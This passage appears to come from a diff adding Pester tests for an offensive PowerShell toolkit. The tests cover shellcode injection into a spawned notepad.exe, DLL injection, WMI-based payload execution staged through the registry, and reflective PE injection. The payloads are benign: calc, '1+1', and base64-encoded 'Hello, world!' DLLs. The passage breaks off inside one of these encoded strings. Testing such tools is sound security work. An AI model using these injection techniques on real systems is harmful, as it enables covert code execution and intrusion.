$PowerShell32bit = $False + $Shellcode = $Shellcode64 + + if ([IntPtr]::Size -eq 4) { + $PowerShell32bit = $True + $Shellcode = $Shellcode32 + } + + $64BitOS = $False + if ($Env:ProgramW6432) { $64BitOS = $True } + + # When launching notepad.exe, the bitness of the process needs to match that of powershell.exe + if ($PowerShell32bit -and $64BitOS) { + # 32-bit PowerShell on a 64-bit OS needs to launch Wow64 notepad + $NotepadPath = "$($Env:SystemRoot)\SysWow64\notepad.exe" + } else { + $NotepadPath = "$($Env:SystemRoot)\System32\notepad.exe" + } + + BeforeEach { + # Kill all running instances of calc.exe or Calculator.exe (i.e. "modern" calc) + Get-Process | Where-Object { $_.ProcessName -match '^[Cc]alc(ulator)?$' } | Stop-Process -Force + } + + It 'should pop calc without arguments' { + Invoke-Shellcode -Force + + Start-Sleep -Seconds 2 + } + + It 'should pop calc in host process with -Shellcode arg' { + Invoke-Shellcode -Shellcode $Shellcode -Force + + Start-Sleep -Seconds 2 + } + + It 'should pop calc in victim notepad.exe process without -Shellcode arg' { + $NotepadProc = Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList $NotepadPath + + if ($NotepadProc.ReturnValue -ne 0) { + throw 'Could not start victim process: notepad.exe' + } + + $VictimPID = $NotepadProc.ProcessId + + Invoke-Shellcode -ProcessId $VictimPID -Force + + Start-Sleep -Seconds 2 + + Stop-Process -Id $VictimPID + } + + It 'should pop calc in victim notepad.exe process with -Shellcode arg' { + $NotepadProc = Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList $NotepadPath + + if ($NotepadProc.ReturnValue -ne 0) { + throw 'Could not start victim process: notepad.exe' + } + + $VictimPID = $NotepadProc.ProcessId + + Invoke-Shellcode -ProcessId $VictimPID -Shellcode $Shellcode -Force + + Start-Sleep -Seconds 2 + + Stop-Process -Id $VictimPID + } + + AfterEach { + # Validate that a calc process was launched by the shellcode + + $CalcProcs = Get-Process | Where-Object { $_.ProcessName -match '^[Cc]alc(ulator)?$' } + $CalcCount = $CalcProcs | Measure-Object + + if ($CalcCount.Count -gt 0) { + $CalcProcs | Stop-Process -Force + } + + $CalcCount.Count | Should BeGreaterThan 0 + } +} + +Describe 'Invoke-DllInjection' { + $Advpack = 'advpack.dll' + $AdvpackPath = "$($Env:SystemRoot)\System32\$Advpack" + + It 'should inject a known system DLL' { + if (-not (Test-Path $AdvpackPath)) { + throw "$AdvpackPath does not exist on disk." + } + + $LoadedModule = Invoke-DllInjection -ProcessID $PID -Dll $AdvpackPath + $LoadedModule | Should Not BeNullOrEmpty + + $LoadedModule -is [System.Diagnostics.ProcessModule] | Should Be $True + $LoadedModule.ModuleName | Should Be $Advpack + } + + It 'should not inject a non-existent DLL' { + $NonExistentDllPath = 'C:\foo.dll' + + Test-Path $NonExistentDllPath | Should Be $False + + { Invoke-DllInjection -ProcessID $PID -Dll $NonExistentDllPath } | Should Throw + } + + It 'should not inject to a non-existent process' { + { Invoke-DllInjection -ProcessID 0 -Dll $AdvpackPath } | Should Throw + } +} + +Describe 'Invoke-WmiCommand' { + $RegistryHive = 'HKEY_CURRENT_USER' + $KeyPath = 'SOFTWARE\Microsoft\Cryptography\RNG' + $RegistryKeyPath = "HKCU:\$KeyPath" + $RegistryPayloadValueName = 'Seed' + $RegistryResultValueName = 'Value' + $ComputerName = 'localhost' + $SamplePayload = { 1+1 } + $SamplePayloadResult = & $SamplePayload + $SamplePayloadResultType = $SamplePayloadResult.GetType() + + Context 'Successful code execution' { + BeforeEach { + # Ensure registry keys and values are cleaned up prior to execution + Remove-ItemProperty -Path $RegistryKeyPath -Name $RegistryPayloadValueName -ErrorAction SilentlyContinue + Remove-ItemProperty -Path $RegistryKeyPath -Name $RegistryResultValueName -ErrorAction SilentlyContinue + Remove-Item -Path $RegistryKeyPath -ErrorAction SilentlyContinue + } + + AfterEach { + { Remove-ItemProperty -Path $RegistryKeyPath -Name $RegistryPayloadValueName -ErrorAction Stop } | Should Throw + { Remove-ItemProperty -Path $RegistryKeyPath -Name $RegistryResultValueName -ErrorAction Stop } | Should Throw + { Remove-Item -Path $RegistryKeyPath -ErrorAction Stop } | Should Throw + } + + It 'should execute a sample payload locally and clean up properly' { + $Result = Invoke-WmiCommand -Payload $SamplePayload + + $Result | Should Not BeNullOrEmpty + $Result.PayloadOutput -is $SamplePayloadResultType | Should Be $True + $Result.PayloadOutput | Should Be $SamplePayloadResult + $Result.PSComputerName | Should Be $ComputerName + } + + It 'should execute a sample payload "remotely" (localhost) and clean up properly' { + $Result = Invoke-WmiCommand -Payload $SamplePayload -ComputerName $ComputerName + + $Result | Should Not BeNullOrEmpty + $Result.PayloadOutput -is $SamplePayloadResultType | Should Be $True + $Result.PayloadOutput | Should Be $SamplePayloadResult + $Result.PSComputerName | Should Be $ComputerName + } + + It 'should execute a sample payload with explicit arguments locally and clean up properly' { + $Result = Invoke-WmiCommand -Payload $SamplePayload -RegistryHive $RegistryHive -RegistryKeyPath $KeyPath -RegistryPayloadValueName $RegistryPayloadValueName -RegistryResultValueName $RegistryResultValueName + + $Result | Should Not BeNullOrEmpty + $Result.PayloadOutput -is $SamplePayloadResultType | Should Be $True + $Result.PayloadOutput | Should Be $SamplePayloadResult + $Result.PSComputerName | Should Be $ComputerName + } + } + + Context 'Invalid arguments' { + It 'should not process invalid registry hives' { + { Invoke-WmiCommand -Payload $SamplePayload -RegistryHive 'HKEY_FOO' -RegistryKeyPath $KeyPath -RegistryPayloadValueName $RegistryPayloadValueName -RegistryResultValueName $RegistryResultValueName } | Should Throw + } + } +} + +Describe 'Invoke-ReflectivePEInjection' { + # A bare bones test harness DLL that simply returns L"Hello, world!" upon having WStringFunc called + # See https://clymb3r.wordpress.com/2013/04/09/modifying-mimikatz-to-be-loaded-using-invoke-reflectivedllinjection-ps1/ + $Encoded64BitWStringDll = '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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAADAAAACCgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==' + $Encoded32BitWStringDll = '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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAADAAAABEwAAAAIAAADAAAABwwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==' + + # A bare bones test harness DLL that simply returns "Hello, world!" upon having StringFunc called + $Encoded64BitStringDll = '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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAADAAAABCgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==' + $Encoded32BitStringDll = 'TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAyAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAACpa+De7QqOje0Kjo3tCo6Nz3NqjewKjo3Pc1KN7AqOjc9zUI3sCo6NUmljaO0Kjo0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABQRQAATAEDAMECPVYAAAAAAAAAAOAAAiELAQwAAAIAAAAEAAAAAAAAABAAAAAQAAAAIAAAAAAAEAAQAAAAAgAABQABAAAAAAAFAAEAAAAAAABAAAAABAAA+IcAAAEAQAEAABAAABAAAAAAEAAAEAAAAAAAABAAAAAgIAAAXwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADAAABgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC50ZXh0AAAAFgAAAAAQAAAAAgAAAAQAAAAAAAAAAAAAAAAAACAAAGAucmRhdGEAAH8AAAAAIAAAAAIAAAAGAAAAAAAAAAAAAAAAAABAAABALnJlbG9jAAAYAAAAADAAAAACAAAACAAAAAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALgBAAAAwgwAzMzMzMzMzMy4ACAAEMMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA